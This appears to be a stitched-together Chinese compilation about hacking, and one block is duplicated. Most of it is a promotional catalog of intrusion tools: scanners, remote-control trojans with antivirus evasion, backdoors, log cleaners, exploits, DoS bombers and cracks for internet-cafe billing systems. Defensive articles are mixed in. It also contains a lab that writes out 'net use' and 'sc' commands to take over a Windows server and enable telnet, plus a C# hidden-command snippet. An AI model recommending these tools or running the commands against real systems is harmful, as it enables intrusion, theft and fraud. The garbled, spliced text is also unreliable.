常用黑客工具（网络入侵工具）
一、扫描工具
X-scan 3.1 焦点出的扫描器，国内最优秀的安全扫描软件之一!非常专业的一个扫描器!
X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具!
SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器!
Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor
Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具，有GUI以及命令行两种扫描方式!
SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件!
U-Scan.exe 非常好的UNICODE漏洞扫描工具!
RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息!
SHED 1.01 一个用来扫描共享漏洞的机器的工具!
DSScan V1.00 ms04-011 远程缓冲区溢出漏洞扫描专用!
Dotpot PortReady1.6 该软件为“绿色软件”，无需安装，非常小巧（仅23KB），具有极快的扫描速度!
WebDAVScan v1.0 针对WEBDA V漏洞的扫描工具! 注意:该软件解压缩时会被查杀!
Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来!
SQLScan v1.2 猜解开着1433端口的住机密码工具!
RPC漏洞扫描器v1.03 针对RPC漏洞扫描的工具!
流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写!
自动攻击探测机Windows NT/2000 自动攻击探测机
4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP!
二、远程控制
黑洞免杀版藏鲸阁-陈经韬编写的著名远程控制程序!该版本还是8月15最新版的哦!
冰河免杀版国内最有名,历史最悠久的木马冰河!本版本是冰河的最新版本,服务器端只有16KB!
灰鸽子迷你版灰鸽子工作室-葛军同志的作品!
网络神偷5.7 网络神偷是一个专业级的远程文件访问工具!具有反弹功能!
广外女生1.53 广州-广外女生小组的作品,曾风靡一时! 注意:该软件解压缩时会被查杀!
Radmin3.2影子版非常有名的监视程序!并非木马,所以服务端不会被查杀!
黑...................... 2.0 使用跟Radmin一样，功能明显比它多，扫描速度也非常快！
风雪远程控制v3.9 基于TCP/IP协议的远程管理网络工具,一个具有反弹功能的工具,非常小巧!
无赖小子2.5 无赖小子2.5，08月23日发布，其默认端口8011!
蓝色火焰v0.5 蓝色火焰是一个没有客户端的木马,可谓无招胜有招!注意:该软件解压缩时会被查杀!
网络公牛国产公牛木马,由于上传文件大小限制,包中没有加入易语言运行库文件krnln.fnr!
GoToMyPC 4.00 安装简单；能够从任何安装有浏览器的计算机上访问主机；具有新的安全功能!
三、入侵必备
SQL综合利用工具非常好的一个SQL连接器,除了可以输入CMD命令外,还可以直接上传软件!
SuperSQLEXEC 用来连接sql server的工具！
3389.exe 开远程机器3389端口的小东东!只要把程序上传到肉鸡运行后,重启既可!
c3389.exe 是一个可以显示、更改本机或远程主机终端服务端口的小程序!
3389.bat 一个开3389端口的批量处理!
3399终端登陆器用来远程登陆3389肉鸡终端的工具!这个win2000以上都
有,以下的都没有!
Opentelnet 远程开telnet的工具!
NTLM.exe 去除ntlm验证的小工具,上传后执行,然后再telnet上去既可!
Hide Admin V2.0 用来隐藏肉鸡上管理员帐号的工具!不过管理员帐号必须有＄号哦!
SSSO伴侣1.2 更直观的入侵，把dos下的入侵实战搬到图形界面上来！
3389终端复制补丁只要安装了该补丁,就可以直接把你需要上传的东西拖拽到肉鸡上!非常方便哦!
TFTP32 非常使用的一个上传工具！也是大家经常使用的哦！
Wget.exe 命令行下的http软件!
Pulist.exe 使用pulist.exe 来获取已经登陆帐户的winlogon.exe 的PID 值!
FindPass.exe 找管理员密码，需要PULIST配合!
入侵助手1.0 该工具可以将dos下的入侵命令直接生成给黑客!
Snake的代理跳板让机器成为sock5代理软件的程序,可以用它隐藏自己的ip.
Fport.exe 命令行下查看系统进程与端口关联!
四、注入工具
NBSI 2.0 NB 联盟小竹编写的一个非常强悍sql注射工具!
CASI 1.10 安全天使-superhei编写的一个php注射工具，亦是国内首发的第一个php注射工具!
sqlasc.exe NB 联盟出的注射点扫描工具!
sql_injection 自贡学生联盟出的sql注射工具,跟臭要饭的哪个差不多!
绝世猜解SQL注射1.0 BUGKIDZ-臭要饭的!以前编写的sql注射工具,使用率相当广泛!简单实用的工具!
五、网吧工具
还原转存大师藏鲸阁出的还原转存大师,大家都认识!不做介绍!
还原精灵清除器CY07工作室出的一个还原精灵清除器!好久以前我用过,感觉非常不错!
还原精灵密码读取还原精灵密码读取!读取还原精灵密码的工具!
还原卡密码破解程序非常好用的还原卡密码破解程序!
Pubwin4.3 修改程序目的:跳过管理验证,并且可以免费上网!
美萍9.0密码破解器1.0 美萍9.0密码破解器1.0!做破解使用!
万象2R最新版破解器万象2R最新版破解器!做破解使用!
万象普及版密码破解器可以显示退出密码；运行设置程序密码；注意:该软件解压缩时会被查杀!
网吧管理集成破解器网吧管理集成破解器,功能挺多的哦!
Pubwin精灵程序运行后,首先点击破解按钮,当显示破解成功后请点注销按钮....
小哨兵密码清除器小哨兵密码清除,没有测试过,大家试试!
解锁安全器2.0 解锁安全器2.0!
硬盘还原卡破解程序硬盘还原卡破解程序!
还原卡解锁还原卡解锁!
Bios密码探测器Bios密码探测器,速度很快的哦!
共享密码扫描器共享密码扫描器,也是一个不错的工具!
硬盘还原卡工具包硬盘还原卡工具包,零件很多,大家试试吧!
干掉Windows2000 干掉Windows2000!
注册表解锁器注册表破解器!解锁用的!
网上邻居密码破解器网上邻居密码破解器,速度也很快哦!
精锐网吧辅助工具
六、漏洞利用
动网7SP1,2, SQL注入动网7SP1,7SP2,SQL版USER-AGENT注入利用程序!桂林老兵作品!
动网上传利用程序动网上传漏洞利用程序!桂林老兵作品!
动网上传漏洞利用动网上传漏洞利用程序,臭要饭的!作品!
BBS3000漏洞利用工具BBS3000漏洞利用工具,俺是奋青作品!
尘缘雅境漏洞利用工具尘缘雅境上传漏洞利用工具,俺是奋青作品!
上传漏洞利用4in1 上传漏洞利用程序4合1!
七、嗅探监听
nc.exe NC.EXE 是一个非标准的telnet客户端程序！安全界有名的军刀!
NetXray 一款非常好的网络分析和监控软件
Sniffer Pro 4.7 想成为真正的黑客高手,那就先学会使用该工具吧!
WSockExpert 非常实用的一个抓包工具,也是黑客经常使用的工具!
八、溢出工具
sql2.exe 红盟站长Lion编译的一个sql溢出程序!注意:该软件解压缩时会被查杀!
SERV-U.exe 编译好的site chmod 溢出工具.默认的shellport为53!
IIS5Exploit.exe 不错的一个iis5溢出攻击程序!非常实用!适用英文版!
IDAHack ida 溢出漏洞常用工具!
WEBdav 溢出程序WEBdav溢出程序!
PHP溢出工具：concep PHP溢出工具：concep!
IDQ溢出攻击程序IDQ溢出攻击程序!
IIS5.0远程溢出工具可以溢出任何版本的windows系统,只要安装了iis4.0 iis 5.0
九、攻击工具
蓝雪入侵者BETA 完全自动，攻击网吧利器!注意:该软件解压缩时会被查杀!
蓝雪QQ轰炸者这是蓝雪QQ轰炸者的最新版!
第六代飘叶千夫指6.0 程序上针对“千夫指”等软件设置了多项预防功能!
懒人短消息攻击器V1.01 此软件是结合各大短信网站普遍都有漏洞制作而成的注意:解压缩时会被查杀!
UDP Flood v2.0 发送UDP packet进行拒绝服务攻击。注意:该软件解压缩时会被查杀!
Red Hacker III 威力强大,UDP式攻击,单机攻击,破坏力大!注意:该软件解压缩时会被查杀!
狂怒之Ping 结合Ping o Death和Ping Flood两种攻击方式!注意:该软件解压缩时会被查杀!
SYN潜伏攻击者拒绝服务，扩展GUI界面，实现隐藏攻击的功能!注意:该软件解压缩时会被查杀!
十、破解工具
L0phtCrack.v5.04 非常强悍的一个破解工具``强烈推荐`
黑雨-邮箱密码破解器破解POP3邮箱密码的工具,支持多线程``
黑雨-网页密码破解器破解网页登陆密码的工具哦`
MD5.exe 这个版本是命令行下MD5加密破解的工具,速度非常快!
多功能密码破解器功能非常强大的密码破解工具,几乎什么密码都能破解!
3389终端密码破解工具破解3389终端登陆密码的工具``
MD5解密器的速度加强版这个版本为改进版,破解MD5加密数据快得惊人,已测试过!厉害``
十一、后门工具
WinShell v5.0 孤独剑客写的一个后门工具``很实用的哦`现在还是最新版的5.0`
rootkit 从系统底层完美隐藏指定进程,服务,注册表键并可以端口绑定的内核级Win2k后门!
CleanIISLog IIS 小榕编写的一个iis日志清除工具!
elsave.exe 小榕编写的日志清除工具!
wollf.exe 1.5 扩展Telnet服务，集成Ftp服务器、键盘记录、端口转发等功能，可反向连接等!
ca.exe 小榕编写的一个远程克隆账号工具!
cca.exe 检查是否有克隆账号,同样是小榕编写的!
srv.exe 孤独剑客写的一个后门工具``很实用的哦`现在防杀``
cmdbind cmdbind 利用远程线程和管道在WINLOGON.EXE和SPOOLSV.EXE中建立远程线....
rknt 不错的一个后门程序!
pk.exe 这是一个杀进程的小工具``挺实用,我多大时候是用来杀对方机器上的防火墙`
ackcmd.exe 一个ICMP通道的后门工具，能够穿越某些规则配置的防火墙!
IP发送者v1.5 只要在肉鸡上安装了该服务端,每当肉鸡重启时,都会把IP 发送到你的邮箱里去!
十二、木马工具
海阳顶端asp木马海阳顶端asp木马,黑网站时用得比较多!
冰狐浪子asp木马非常小型的asp木马,功能也很多!
QQ强制视频木马QQ强制视频木马!
密码解霸4.1网络版密码解霸4.1网络完整版! 注意:该软件解压缩时会被查杀!
超级结巴2004 超级结巴2004 我用最新版金山测试防杀!
密码解霸通用注册机支持现在比较流行的3.2、4.1、5.1、5.3、2004版的密码结巴!及其他修改版!
十三、综合工具
UltraEdit V10 一款极棒的文字、Hex、ASCII 码编辑工具!
WinHex 11.2 一个很不错的16进制文件编辑与磁盘编辑软件!
OllyDbg-v1.10 动态调试工具,用于反汇编!
W32Dasm 10.0 静态调试工具,用于反汇编!
啊D工具包 2.0 啊D工具包 2.0!
S-Demo2.0破解版现在很多的黑客动画教程几乎都是用该工具录制的!
十四、常用工具
Delphi7.zip Delphi7.0是面向对象的可视化编程工具,是目前最好的Windows 应用程序开发工具!
WinRAR3.3 WinRAR 是目前最好的压缩工具，界面友好，使用方便!
FlashFXP 3.0 FlashFXP 是一个功能强大的FXP /FTP软件，融合了一些其他优秀FTP软件的优点!
CuteFTPxp5.0 使用容易且蛮受欢迎的FTP软件!
FlashGet1.6 专业的软件!中文名:网际快车!
DirectX9.0.zip 现在很多运行于windows下的游戏都必须安装该程序哦!
超级解霸3000英雄版级解霸是国产视频软件的龙头产品,国内最具实力的
播放软件!
影音传送带v1.87 Net Transport 是一个快速稳定功能强大的工具!
超级兔子魔法设置系统优化修改程序!
windows优化大师跟超级兔子差不多!
南极星全球通2.3 南极星全球通允许你查看并且输入中、日、韩文到任何桌面程序中!
...........3000Pro.zip ...........3000Pro!
万能五笔官方正式确实是目前很好的输入法,强烈推荐大家使用!功能真的增加和改进了好多!
网易泡泡网易泡泡(POPO)网易开发的一款免费的即时通信工具.它功能强大、方便灵活!
windows 2000 sp4 windows 2000 sp4 操作系统!
MS sql server.rar 数据库产品!
Office 2003免激活版微软的offiice是专业的办公室专用工具!
十五、安全软件
金山系列
瑞星系列
江民系列
QQ管家
360系列
卡巴斯基
USB cleaner
小红伞
大蜘蛛
【经典资料，ＷＯＲＤ文档，可编辑修改】 利用黑客工具进行渗透的数据分析 选用工具：X-SCAN 3.3 分析软件：科来网络分析系统2010 beta版 我们知道如果黑客想入侵一个网络，他需要更多的了解一个网络的信息，包括网络拓扑结构，哪些主机在运行，有哪些服务在运行，主机运行的是什么系统，以及该系统主机有没有其他漏洞，和存在一些弱口令等情况等。只有在充分了解了足够多的信息之后，入侵才会变成可能。而黑客入侵之前的扫描是一个比较长时间的工作，同时现象也是比较明显的。我们通过网络分析手段可以很好的把握入侵特征。网络扫描工具很多，比较有名的如国产的冰河和国外的X-scan 等软件。 分析过程 抓包从X-Scan 扫描开始，到扫描结束。抓包后的数据位10M（中间有些数据有其他通信产生）持续时间大概为10分钟。 首先，10分钟产生10M的数据量是不大的，这也就是说单个主机的扫描其实是不占用很多网络带宽的，如图： 上图也反映了一些特征，我们看到，抓包网络内的数据包长只有111.3Byte，这个平均包长是偏小的，而且数据包大小分析发现<=64字节和65-127字节之间的数据占了绝大多少，这就充分说明了网络中有大量的小包存在。 我们接下来看下诊断信息能给我们什么提示， 此外，我们可以从日志选项中查看一些现场，以下是日志的截图： 这种黑客的扫描得出的结果还是很详细和危险的，在不到10分钟之内，就将一个局域网内的各主机的存活，服务，和漏洞情况进行了了解，并且取得了一些效果。例如本次扫描发现一台FTP 服务器的一个账号test 密码为123456 的情况，这种简单的密码和账号最好不要留下，及时的清理。 总结 扫描行为，主要有三种，ICMP扫描用来发现主机存活和拓扑，TCP 用来判断服务和破解，UDP确定一些特定的UDP服务。扫描是入侵的标志，扫描的发现主要是靠平时抓包分析，和日常的维护中进行。最好能够将科来长期部署在网络中，设定一定的报警阀值，例如设置TCP SYN 的阀值和诊断事件的阀值等，此功能是科来2010新功能之一，很好用。 扫描的防御很简单，可以设置防火墙，对ICMP不进行回应，和严格连接，及会话次数限制等。
一、防范： 这是从安全的角度出发涉及的一类软件，例如防火墙、查病毒软件、系统进程监视器、端口管理程序等都属于此类软件。这类软件可以在最大程度上保证电脑使用者的安全和个人隐私，不被黑客破坏。网络服务器对于此类软件的需要也是十分重视的，如日志分析软件、系统入侵软件等可以帮助管理员维护服务器并对入侵系统的黑客进行追踪。 二、信息搜集： 信息搜集软件种类比较多，包括端口扫描、漏洞扫描、弱口令扫描等扫描类软件；还有监听、截获信息包等间谍类软件，其大多数属于亦正亦邪的软件，也就是说无论正派黑客、邪派黑客、系统管理员还是一般的电脑使用者，都可以使用者类软件完成各自不同的目的。在大多数情况下，黑客使用者类软件的频率更高，因为他们需要依靠此类软件对服务器进行全方位的扫描，获得尽可能多的关于服务器的信息，在对服务器有了充分的了解之后，才能进行黑客动作。 三、木马与蠕虫： 这是两种类型的软件，不过他们的工作原理大致相同，都具有病毒的隐藏性和破坏性，另外此类软件还可以由拥有控制权的人进行操作，或由事先精心设计的程序完成一定的工作。当然这类软件也可以被系统管理员利用，当作远程管理服务器的工具。 四、洪水： 所谓“洪水”即信息垃圾炸弹，通过大量的垃圾请求可以导致目标服务器负载超负荷而崩溃，近年来网络上又开始流行DOS分散式攻击，简单地说也可以将其归入此类软件中。洪水软件还可以用作邮件炸弹或者聊天式炸弹，这些都是经过简化并由网络安全爱好者程序化的“傻瓜式”软件，也就是本书一开始指责的“伪黑客”手中经常使用的软件。 五、密码破解： 网络安全得以保证的最实用方法是依靠各种加密算法的密码系统，黑客也许可以很容易获得一份暗文密码文件，但是如果没有加密算法，它仍然无法获得真正的密码，因此使用密码破解类软件势在必行，利用电脑的高速计算能力，此类软件可以用密码字典或者穷举等方式还原经过加密的暗文。 六、欺骗： 如果希望获得上面提到的明文密码，黑客需要对暗文进行加密算法还原，但如果是一个复杂的密码，破解起来就不是那么简单了。但如果让知道密码的人直接告诉黑客密码的原型，是不是更加方便？欺骗类软件就是为了完成这个目的而设计的。
帮助我们审核网络安全的十大工具 一、Nessus：这是一款UNIX平台的漏洞评估工具，可以说它是最好的、免费的网络漏洞扫描程序。其更新速度很快，有超过11000个插件。其关键特性包括安全和本地的安全检查，拥有GTK图形接口的客户端/服务器体系结构，还有一个嵌入式脚本语言(可以编写我们自己的插件或理解现有的插件)。Nessus 3现在是闭源软件，不过仍是免费的，除非你需要最新的插件。 二、Wireshark：这是一款奇特的开源网络协议分析程序，它支持Unix和Windows两种平台。以前它也被称为Ethereal，后因商标问题的争端而改名。它允许用户从一个活动的网络或磁盘上的捕获文件来检查数据。用户可以交互地浏览捕获的数据，深入地探究你需要理解的数据包的祥细信息。此软件拥有几大特性，包括丰富的显示过滤程序语言和查看一次TCP会话的结构化数据流的能力。它还支持大量的协议和媒体类型，包括一个类似于tcpdump的控制台版本，称为tethereal。不过需要注意的是，它饱受大量的远程安全漏洞之苦，因此一定要保持及时更新，并提防在不信任或敌对的网络上运行之。 三、Snort：这是一个很多人都十分喜爱的开源性质的入侵检测系统。这个轻量级的网络入侵检测和预防系统对IP网络中的通信分析和数据包的日志记载都表现出色。通过协议分析、内容搜索以及各种各样的预处理程序，Snort可以检测成千上万的蠕虫、漏洞利用企图、端口扫描和其它的许多可疑行为。它使用一种十分灵活的基于规则的语言来描述通信。此外，它还检查免费的基本分析和安全引擎，即一个分析Snort警告的Web界面。 开源的Snort对于许多个人、小型企业和部门布景言，运行起来很出色。SourceFire公司免费提供了一个产品线，可以使企业级的特性和实时的规则实现更新。当然，用户还可以在Bleeding Edge Snort找到许多功能强大的免费规则。 四、Netcat：这款被为网络上的瑞士军刀的实用程序能够在TCP或UDP网络连接上读写数据。它被设计为一种可靠的后端工具，能够直接地、简单地被其它程序和脚本驱动。同时，它还是一款网络调试和探测工具，因为它能够创建你需要的几乎任何类型的连接，包括端口绑定以便于接收进入的连接。最早的Netcat由Hobbit在1995年发布，虽然非常流行，却没有得到真正的维护。有时甚至很难找到nc110.tgz。不过，这款工具的灵活性和实用性促使人们开发了大量的Netcat实现代码，许多现代化的特性在原始的版本中并不存在。最为有趣的一个实现程序是Socat，它对Netcat进行了扩展，以支持许多其它的套接字类型，SSL加密，SOCKS代理等等。还有Chris Gibson’s Ncat，它提供了更多的特性，同时又保持灵活性和简洁性。现在有许多支持Netcat的软件，如OpenBSD’s nc, Cryptcat, Netcat6, PNetcat, SBD, 和所谓的GNU Netcat 等。 五、Hping2：这个小巧实用的应用程序能够组装并发送定制的ICMP、UDP、TCP的数据包，并可以显示任何的应答。它的开发产生于ping命令，不过却提供了对发出去的探测信息的更多控制。它还拥有一个方便的路由跟踪模式，并支持IP数据包的分块。在试图跟踪/ping/探测防火墙背后的主机时，这个工具就相当有用，因为防火墙能够阻止其它标准的应用程序的连接请求，对此工具则不然。这通常允许我们形成防火墙的规则集。如果你要学习更多的TCP/IP以及用IP协议做试验，Hping2也是不错的选择。 六、Kismet：这是一款非常强大的无线网络嗅探工具。Kimset是一个基于802.11第二层的无线网络检测程序、嗅探器和入侵检测系统。它可以通过被动地嗅探(这与主动的嗅探工具如NetStumbler正相反)，甚至可以发现那些在用的隐藏网络。它能够通过嗅探TCP、UDP、ARP、和DHCP数据包来自动地检测网络IP块，并能够以Wireshark/TCPDump的兼容格式记录通信。这个工具还可以用于warwalking，warflying，warskating等。 七、Tcpdump：这是一款经典的网络监视和数据获取嗅探程序。在Ethereal (Wireshark)登上历史舞台之前，Tcpdump是被广泛采用的IP嗅探程序，网管员中的许多人还有继续使
您是怎样看待黑客及黑客现象的?崇拜?不齿?还是畏惧?本文将向您介绍中国黑客常用的八种工具及其防御方法。需要说明的是，这些只是初级黑客、甚至是不算黑客的“黑客”所使用的工具。在真正的黑客看来这些工具是很初级的，但这些黑客工具对我们普通用户的杀伤力却是非常大的，因此有必要介绍一下它们的特点及防御方法。 本文列出了几种有代表性的黑客工具，我们真正要掌握的当然不是如何使用这些黑客工具，而是通过它们了解黑客攻击手段，掌握防范黑客攻击的方法，堵住可能出现的各种漏洞。 冰河 冰河是最优秀的国产木马程序之一，同时也是被使用最多的一种木马。说句心里话，如果这个软件做成规规矩矩的商业用远程控制软件，绝对不会逊于那个体积庞大、操作复杂的PCanywhere，但可惜的是，它最终变成了黑客常用的工具。 冰河的服务器端(被控端)和客户端(控制端)都是一个可执行文件，客户端的图标是一把瑞士军刀，服务器端则看起来是个没什么大不了的微不足道的程序，但就是这个程序，足以让你的电脑成为别人的掌中之物。某台电脑执行了服务器端软件后，该电脑的7626端口(默认)就对外开放了，如果在客户端输入这台电脑的IP地址，就能完全控制这台电脑。由于个人电脑每次上网的IP地址都是随机分配的，所以客户端软件有一个“自动搜索”功能，可以自动扫描某个IP段受感染的电脑，一旦找到，这台电脑就尽在黑客的掌握之中了。由于冰河程序传播比较广泛，所以一般情况下，几分钟之内就能找到一个感染了冰河的受害者。 防御措施:首先不要轻易运行来历不明的软件，只要服务器端不被运行，冰河再厉害也是有力使不出，这一点非常重要;其次由于冰河的广泛流行，使得大多数杀毒软件可以查杀冰河，因此在运行一个新软件之前用杀毒软件查查是很必要的。但由于该软件变种很多，杀毒软件如果不及时升级，难免会有遗漏，因此要保证您使用的杀毒软件病毒库保持最新。用查杀木马软件如木马克星之类的也可以;安装并运行防火墙，如此则能相对安全一些。 Wnuke Wnuke可以利用Windows系统的漏洞, 通过TCP/IP协议向远程机器发送一段信息，导致一个OOB错误，使之崩溃。现象:电脑屏幕上出现一个蓝底白字的提示:“系统出现异常错误”，按ESC键后又回到原来的状态，或者死机。它可以攻击WIN9X、WINNT、WIN2000等系统,并且可以自由设置包的大小和个数，通过连续攻击导致对方死机。 防御措施:不要轻易点击别人在论坛或聊天室告诉您的网址，那很可能是探测您的IP地址的(如Iphunter就可以做到这一点);用写字板或其它的编辑软件建立一个文本文件，文件名为OOBFIX.REG，内容如下: REGEDIT4 [HKEY_LOCAL_MACHINE\System\CurrentControlSet \Services\VxD\MSTCP] ″BSDUrgent″=″0″
C#制作小工具七黑客入侵工具 效果图： 刚开始学C#的时候，最大的动力就是想用C#开发出黑客工具啦，很是崇拜黑客，后来渐渐明白，用C#写黑客工具是比较不切合实际的事情，呵呵，你懂得！ 代码中封装了一个调用系统资源类，这个不作说明，代码中有，要介绍的是如何用C#模拟CMD命令。 用到的就是两个类，Process和ProcessStartInfo,我们需要的是隐藏着执行CMD命令罢了，呵呵，原来设置下ProcessStartInfo实例化类的属性即可，OK，就这么简单，看代码吧！ 核心函数： ///
Process dos = new Process(); //创建进程时使用的一组值，如下面属性 ProcessStartInfo startinfo = new ProcessStartInfo(); //设定需要执行的命令窗口 startinfo.FileName = "cmd.exe"; //隐藏CMD窗口 //设定参数，要输入到命令程序的字符，其中"/c"表示执行完命令后马上退出 startinfo.Arguments = "/c" + dosCommand; //不使用系统外壳程序启动 https://www.doczj.com/doc/322234423.html,eShellExecute = false; //不重定向输入 startinfo.RedirectStandardInput = false; //重定向输出，而不是默认的显示在DOS控制台上面 startinfo.RedirectStandardOutput = true; //不创建窗口 startinfo.CreateNoWindow = true; dos.StartInfo = startinfo; try { //开始进程 if (dos.Start()) { if (outTime == 0) { dos.WaitForExit(); } else { dos.WaitForExit(outTime); } //读取进程的输出 output = dos.StandardOutput.ReadToEnd(); } } catch (Exception ex) { MessageBox.Show(ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error); } finally { if (dos != null)
模拟黑客攻击 一、实验环境 本例以攻击一台文件服务器为例，演示通常的攻击方法和思路。该文件服务器默认安装了Windows Server 2003，启动了Windows防火墙但是允许文件共享。其余设置全为默认安装设置，并安装了所有补丁。 二、需求描述 扫描目标主机 获得管理员权限 安装后门 清除攻击记录 三、实验拓扑 四、实验步骤 扫描目标主机 1.使用扫描软件扫描目标计算机，确认开放的端口，判断操作系统的类型。
2.扫描软件推荐使用X-Scan或流光。 获得管理权限 1.根据扫描结果，尝试暴力破解管理员账户和密码。 2.破解后自动生成报告。
入侵目标计算机 1.使用管理员的账号建立IPC链接，命令为“net use \\19 2.168.10.11 123456 /user:administrator”. 使用sc命令获取目标计算机的所有服务列表，并保存在本地。命令为“sc\\192.168.10.11 query type= service state= all >c:\1.txt”（注意:两个“=”前无空格，“=”后有空格）。“>c:\1.txt”表示将输出结果保存在本地C盘的1.txt文件内。
2.打开1.txt文件，找到telnet，确认服务的状态，telnet服务默认为禁用状态。如果知道 telnet服务的服务名称，可直接使用命令行查看，命令为“sc \\192.168.10.11 qc tlntsvr”. 3.去除telnet服务的禁用状态，设置为自动运行，命令为“sc \\192.168.10.11 config tlntsvr start= auto”。然后启用telnet服务，命令为“sc \\192.168.10.11 start tlntsvr”.
1.黑客：早先对计算机的非授权访问称为“破解”，而hacking(俗称“黑”)则指那些熟练 使用计算机的高手对计算机技术的运用，这些计算机高手称为“黑客”。随着个人计算机及网络的出现，“黑客”变成一个贬义词，通常指那些非法侵入他人计算机的人。2.入侵检测（intrusion detection）：就是对入侵行为的发觉，它通过从计算机网络或计算机 系统中的若干关键点收集信息，并对其进行分析，从中发现网络或者系统中是否有违反安全策略的行为和被攻击的迹象。 3.入侵检测系统的六个作用：1）、通过检测和记录网络中的安全违规行为，惩罚网络犯罪， 防止网络入侵事件的发生。2）、检测其他安全措施未能阻止的攻击或安全违规行为。3）、检测黑客在攻击前的探测行为，预先给管理员发出警报。4）、报告计算机系统或网络中存在的安全威胁。5）、提供有关攻击的信息，帮助管理员诊断网络中存在的安全弱点，利于其进行修补。6）、在大型、复杂的计算机网络中布置入侵检测系统，可以显著提高网络安全管理的质量。 4.t P>t D+t Rd的含义：t p:保护安全目标设置各种保护后的防护时间。t D:从入侵者开始发动入 侵开始，系统能够检测到入侵行为所花费的时间。t R：从发现入侵行为开始，系统能够做出足够的响应，将系统调整到正常状态的时间。公式的含义：防护时间大于检测时间加上响应时间，那么在入侵危害安全目标之前就能检测到并及时采取防护措施。 5.入侵检测原理的四个阶段：数据收集、数据处理，数据分析，响应处理。 6.攻击产生的原因：信息系统的漏洞是产生攻击的根本原因。 7.诱发入侵攻击的主要原因：信息系统本身的漏洞或脆弱性。 8.漏洞的概念：漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，它 是可以使攻击者能够在未授权的情况下访问或破坏系统。漏洞会影响到很大范围内的软件及硬件设备，包括操作系统本身及其支撑软件、网络客户和服务器软件、网络路由和安全防火墙等。漏洞是与时间紧密相关的，，一般是程序员编程时的疏忽或者考虑不周导致的。 9.漏洞的具体表现：存储介质不安全，数据的可访问性，信息的聚生性，保密的困难性， 介质的剩磁效应，电磁的泄漏性，通信网络的脆弱性，软件的漏洞。 10.漏洞iongde分类（按被利用的方式）：物理接触、主机模式、客户机模式、中间人模式。 11.入侵检测系统的基本原理主要分四个阶段：数据收集、数据处理、数据分析、响应处 理。 12.常用的5种检测模型：操作模型、方差模型、多元模型、马尔柯夫过程模型、时间序列 分析模型。 13.信息系统面临的三种威胁：非人为因素和自然力造成的数据丢失、设备失效、线路阻断； 人为但属于操作人员无意的失误造成的数据丢失；来自外部和内部人员的恶意攻击和入侵。 14.攻击的四个步骤：攻击者都是先隐藏自己；再踩点或预攻击探测，检测目标机器的各种 属性和具备的被攻击条件，然后采取相应的攻击行为，达到自己的目的，最后攻击者会清除痕迹删除自己的行为日志。 Ping扫描：ping是一个DOS命令，它的用途是检测网络的连通状况和分析网络速度。 端口扫描：端口扫描时一种用来查找网络主机开放端口的方法，正确的使用端口扫描，能够起到防止端口攻击的作用。 操作系统识别扫描：黑客入侵过程的关键环节是操作系统的识别与扫描。 漏洞扫描：主要是查找操作系统或网络当中存在什么样的漏洞，并给出详细漏洞报告，引导用户到相关站点下载最新系统漏洞补贴程序，确保系统永远处在最安全的状态下，以减少被攻击的可能性。
常用黑客工具（网络入侵工具） 一、扫描工具 X-scan 3.1 焦点出的扫描器，国内最优秀的安全扫描软件之一!非常专业的一个扫描器! X-way 2.5 这也上一个非常不错的扫描器哦!功能非常多!使用也不难,入侵必备工具! SuperScan 3.0 强大的TCP 端口扫描器、Ping 和域名解析器! Namp 3.5 这个就厉害了,安全界人人皆知的非常有名气的一个扫描器!作者Fyodor Hscan v1.20 这是款运行在Win NT/2000下的漏洞扫描工具，有GUI以及命令行两种扫描方式! SSS 俄罗斯安全界非常专业的一个安全漏洞扫描软件! U-Scan.exe 非常好的UNICODE漏洞扫描工具! RpcScan V1.1 可以通过135端口枚举远程主机RPC连接信息! SHED 1.01 一个用来扫描共享漏洞的机器的工具! DSScan V1.00 ms04-011 远程缓冲区溢出漏洞扫描专用! Dotpot PortReady1.6 该软件为“绿色软件”，无需安装，非常小巧（仅23KB），具有极快的扫描速度! WebDAVScan v1.0 针对WEBDA V漏洞的扫描工具! 注意:该软件解压缩时会被查杀! Socks Proxy Finder2 扫描端口速度非常快的一个工具,扫描完毕后还可以导出保存起来! SQLScan v1.2 猜解开着1433端口的住机密码工具! RPC漏洞扫描器v1.03 针对RPC漏洞扫描的工具! 流光5.0 破解版国内大名鼎鼎的黑客扫描工具,由高级程序员小榕编写! 自动攻击探测机Windows NT/2000 自动攻击探测机 4899空口令探测能够快速的扫描到被安装了radmin服务端4899端口的空口令IP! 二、远程控制
实验七入侵检测实验 一、实验目的 通过本实验掌握入侵检测系统（IDS）的基本原理和应用，掌握Windows 系统进行日常安全检测的基本方法和操作技能。 二、实验要求 1、实验前学生应具备以下知识： ?了解常见网络攻击技术的特点。 ?了解Windows系统用于安全审计的系统工具。 ?了解入侵检测系统（IDS）的基本概念。 2、实验内容可根据实验室的具体情况和课时安排的变化进行适当的调整实验过程中，部分实验内容需要与相邻的同学配合完成。此外，学生需要将实验的结果记录下来，实验内容中的思考题以书面形式解答并附在实验报告的后面。 3、需要注意的是，学生在实验过程中要严格按实验指导书的操作步骤和要求操作，且小组成员应紧密配合，以保证实验过程能够顺利完成。 三、实验仪器设备和材料清单 实验设备： 1．WindowsGP，Windows20GG服务器；或VMWare，Windows20GG/GP虚拟机。 2．TCPView、360安全卫士。 3．Snort。 4．黑客工具包。 四、实验内容
